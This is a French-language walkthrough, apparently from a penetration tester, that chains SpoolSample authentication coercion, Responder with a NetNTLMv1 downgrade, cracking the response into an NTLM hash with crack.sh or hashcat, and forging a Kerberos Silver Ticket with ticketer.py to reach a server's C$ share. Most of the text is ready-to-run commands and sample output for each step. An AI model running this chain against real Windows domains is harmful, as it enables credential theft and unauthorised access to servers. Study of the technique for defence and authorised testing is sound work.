
SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
Cette technique a été évoquée par d'autres, mais je n'ai rien vu de cohérent. Ci-dessous, nous allons parcourir les étapes pour obtenir une authentification NetNTLMv1 Challenge/Response, casser ces dernières en hachages NTLM, et utiliser ce hachage NTLM pour signer un ticket Kerberos Silver.
Cela fonctionnera sur les réseaux où le "niveau d'authentification LAN Manager" est défini sur 2 ou moins. C'est un scénario assez courant dans les déploiements Windows plus anciens et plus importants. Cela ne devrait pas fonctionner sur Windows 10 / Server 2016 ou plus récent.
Obtenir une réponse NetNTLMv1 d'un compte machine via le SpoolSample de @tifkin_ (Lee Christensen)
Casser cette réponse NetNTLMv1 en un hachage NTLM à l'aide des Rainbow Tables de @0x31337 (David Hulton)
Générer un Silver Ticket en utilisant le hachage NTLM nouvellement obtenu avec le ticketer.py de @agsolino (Albert Solino)
En utilisant Powershell, obtenez une liste de machines Windows. Les serveurs sont généralement prioritaires, concentrons-nous donc sur eux :
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
En utilisant une version légèrement modifiée du SpoolerScanner de @mysmartlogin (Vincent Le Toux), vérifiez si le service Spooler écoute
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Vous pouvez également utiliser rpcdump.py sur Linux et rechercher le protocole MS-RPRN
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
ou utilisez dementor.py de 3xocyte si vous êtes sur Linux
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
Exemple de réponse :
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
Vous pouvez utiliser un ensemble de Rainbow Tables pour inverser le NTHASH en NTLM, ou vous pouvez le décomposer en ses composants DES et le casser avec hashcat.
Un rig 8x 1080 peut le forcer par brute-force en environ 6 jours, donc envisagez les Rainbow Tables.
Pour les Rainbow Tables, il existe un service hébergé à https://crack.sh/netntlm/ qui récupérera le NTLM à partir de NetNTLMv1 gratuitement. Ce service est fourni par David Hulton de Toorcon. Nous travaillons sur une copie locale des tables arc-en-ciel et d'un logiciel qui ne nécessite pas de FPGA pour les recherches.
Pour crack.sh, le format est NTHASH:(response), donc NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 de l'exemple.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Cela retournera la sortie ci-dessous avec des instructions :
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
Vous aurez besoin de quelques informations pour cela : SPN du service auquel vous voulez accéder, SID du domaine, SID du compte utilisateur du domaine et nom du compte avec accès administrateur local, et un groupe du domaine dont cet utilisateur est membre s'il s'agit d'administration locale basée sur un groupe.
Pour le service, le plus courant sera cifs/ car il correspond au service HOST/
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
Distribuer 6 To de Rainbow Tables
Modifier le desrtop de @0x31337 pour ne pas nécessiter de FPGA
Identifier d'autres moyens de déclencher une authentification de compte machine à distance